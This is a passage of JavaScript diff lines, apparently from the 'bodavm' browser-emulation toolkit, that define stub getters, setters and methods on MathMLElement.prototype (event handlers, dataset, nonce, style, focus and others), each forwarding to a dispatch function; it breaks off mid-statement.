-bodavm.toolsFunc.defineProperty('MathMLElement', "onkeydown", {configurable:true, enumerable:true, get:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeydown_get", arguments)}, set:function onkeydown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeydown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onkeypress", {configurable:true, enumerable:true, get:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeypress_get", arguments)}, set:function onkeypress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeypress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onkeyup", {configurable:true, enumerable:true, get:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeyup_get", arguments)}, set:function onkeyup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onkeyup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onloadeddata", {configurable:true, enumerable:true, get:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadeddata_get", arguments)}, set:function onloadeddata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadeddata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onloadedmetadata", {configurable:true, enumerable:true, get:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadedmetadata_get", arguments)}, set:function onloadedmetadata (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadedmetadata_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onloadstart", {configurable:true, enumerable:true, get:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadstart_get", arguments)}, set:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onloadstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onmousedown", {configurable:true, enumerable:true, get:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousedown_get", arguments)}, set:function onmousedown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousedown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseenter", {configurable:true, enumerable:true, get:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseenter_get", arguments)}, set:function onmouseenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseleave", {configurable:true, enumerable:true, get:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseleave_get", arguments)}, set:function onmouseleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onmousemove", {configurable:true, enumerable:true, get:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousemove_get", arguments)}, set:function onmousemove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousemove_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseout", {configurable:true, enumerable:true, get:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseout_get", arguments)}, set:function onmouseout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseout_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseover", {configurable:true, enumerable:true, get:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseover_get", arguments)}, set:function onmouseover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onmouseup", {configurable:true, enumerable:true, get:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseup_get", arguments)}, set:function onmouseup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmouseup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onmousewheel", {configurable:true, enumerable:true, get:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousewheel_get", arguments)}, set:function onmousewheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onmousewheel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpause", {configurable:true, enumerable:true, get:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpause_get", arguments)}, set:function onpause (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpause_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onplay", {configurable:true, enumerable:true, get:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onplay_get", arguments)}, set:function onplay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onplay_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onplaying", {configurable:true, enumerable:true, get:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onplaying_get", arguments)}, set:function onplaying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onplaying_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onprogress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onratechange", {configurable:true, enumerable:true, get:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onratechange_get", arguments)}, set:function onratechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onratechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onreset", {configurable:true, enumerable:true, get:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onreset_get", arguments)}, set:function onreset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onreset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onresize_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onscroll", {configurable:true, enumerable:true, get:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onscroll_get", arguments)}, set:function onscroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onscroll_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onsecuritypolicyviolation", {configurable:true, enumerable:true, get:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsecuritypolicyviolation_get", arguments)}, set:function onsecuritypolicyviolation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsecuritypolicyviolation_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onseeked", {configurable:true, enumerable:true, get:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onseeked_get", arguments)}, set:function onseeked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onseeked_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onseeking", {configurable:true, enumerable:true, get:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onseeking_get", arguments)}, set:function onseeking (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onseeking_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onselect", {configurable:true, enumerable:true, get:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselect_get", arguments)}, set:function onselect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onslotchange", {configurable:true, enumerable:true, get:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onslotchange_get", arguments)}, set:function onslotchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onslotchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onstalled", {configurable:true, enumerable:true, get:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onstalled_get", arguments)}, set:function onstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onstalled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onsubmit", {configurable:true, enumerable:true, get:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsubmit_get", arguments)}, set:function onsubmit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsubmit_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onsuspend", {configurable:true, enumerable:true, get:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsuspend_get", arguments)}, set:function onsuspend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onsuspend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ontimeupdate", {configurable:true, enumerable:true, get:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontimeupdate_get", arguments)}, set:function ontimeupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontimeupdate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ontoggle", {configurable:true, enumerable:true, get:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontoggle_get", arguments)}, set:function ontoggle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontoggle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onvolumechange", {configurable:true, enumerable:true, get:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onvolumechange_get", arguments)}, set:function onvolumechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onvolumechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onwaiting", {configurable:true, enumerable:true, get:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwaiting_get", arguments)}, set:function onwaiting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwaiting_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onwebkitanimationend", {configurable:true, enumerable:true, get:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationend_get", arguments)}, set:function onwebkitanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onwebkitanimationiteration", {configurable:true, enumerable:true, get:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationiteration_get", arguments)}, set:function onwebkitanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationiteration_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onwebkitanimationstart", {configurable:true, enumerable:true, get:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationstart_get", arguments)}, set:function onwebkitanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkitanimationstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onwebkittransitionend", {configurable:true, enumerable:true, get:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkittransitionend_get", arguments)}, set:function onwebkittransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwebkittransitionend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onwheel", {configurable:true, enumerable:true, get:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwheel_get", arguments)}, set:function onwheel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onwheel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onauxclick", {configurable:true, enumerable:true, get:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onauxclick_get", arguments)}, set:function onauxclick (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onauxclick_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ongotpointercapture", {configurable:true, enumerable:true, get:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ongotpointercapture_get", arguments)}, set:function ongotpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ongotpointercapture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onlostpointercapture", {configurable:true, enumerable:true, get:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onlostpointercapture_get", arguments)}, set:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onlostpointercapture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerdown", {configurable:true, enumerable:true, get:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerdown_get", arguments)}, set:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerdown_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointermove", {configurable:true, enumerable:true, get:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointermove_get", arguments)}, set:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointermove_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerrawupdate", {configurable:true, enumerable:true, get:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerrawupdate_get", arguments)}, set:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerrawupdate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerup", {configurable:true, enumerable:true, get:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerup_get", arguments)}, set:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerup_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointercancel", {configurable:true, enumerable:true, get:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointercancel_get", arguments)}, set:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointercancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerover", {configurable:true, enumerable:true, get:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerover_get", arguments)}, set:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerover_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerout", {configurable:true, enumerable:true, get:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerout_get", arguments)}, set:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerout_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerenter", {configurable:true, enumerable:true, get:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerenter_get", arguments)}, set:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerenter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpointerleave", {configurable:true, enumerable:true, get:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerleave_get", arguments)}, set:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpointerleave_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onselectstart", {configurable:true, enumerable:true, get:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselectstart_get", arguments)}, set:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselectstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onselectionchange", {configurable:true, enumerable:true, get:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselectionchange_get", arguments)}, set:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onselectionchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onanimationend", {configurable:true, enumerable:true, get:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationend_get", arguments)}, set:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onanimationiteration", {configurable:true, enumerable:true, get:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationiteration_get", arguments)}, set:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationiteration_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onanimationstart", {configurable:true, enumerable:true, get:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationstart_get", arguments)}, set:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onanimationstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ontransitionrun", {configurable:true, enumerable:true, get:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionrun_get", arguments)}, set:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionrun_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ontransitionstart", {configurable:true, enumerable:true, get:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionstart_get", arguments)}, set:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ontransitionend", {configurable:true, enumerable:true, get:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionend_get", arguments)}, set:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitionend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "ontransitioncancel", {configurable:true, enumerable:true, get:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitioncancel_get", arguments)}, set:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "ontransitioncancel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncopy", {configurable:true, enumerable:true, get:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncopy_get", arguments)}, set:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncopy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncut", {configurable:true, enumerable:true, get:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncut_get", arguments)}, set:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "oncut_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "onpaste", {configurable:true, enumerable:true, get:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpaste_get", arguments)}, set:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "onpaste_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "dataset", {configurable:true, enumerable:true, get:function dataset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "dataset_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "nonce", {configurable:true, enumerable:true, get:function nonce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "nonce_get", arguments)}, set:function nonce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "nonce_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "autofocus", {configurable:true, enumerable:true, get:function autofocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "autofocus_get", arguments)}, set:function autofocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "autofocus_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "tabIndex", {configurable:true, enumerable:true, get:function tabIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "tabIndex_get", arguments)}, set:function tabIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "tabIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "style", {configurable:true, enumerable:true, get:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "style_get", arguments)}, set:function style (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "style_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "attributeStyleMap", {configurable:true, enumerable:true, get:function attributeStyleMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "attributeStyleMap_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "blur", {configurable:true, enumerable:true, writable:true, value:function blur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "blur", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "focus", {configurable:true, enumerable:true, writable:true, value:function focus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MathMLElement'].prototype, "MathMLElement", "focus", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MathMLElement', "oncontentvisibilityautostatechange", {configurable:true, enumerable:true, get:function oncontentvisibilityautostatechange (){return bodavm.toolsFunc.dispatch(this, 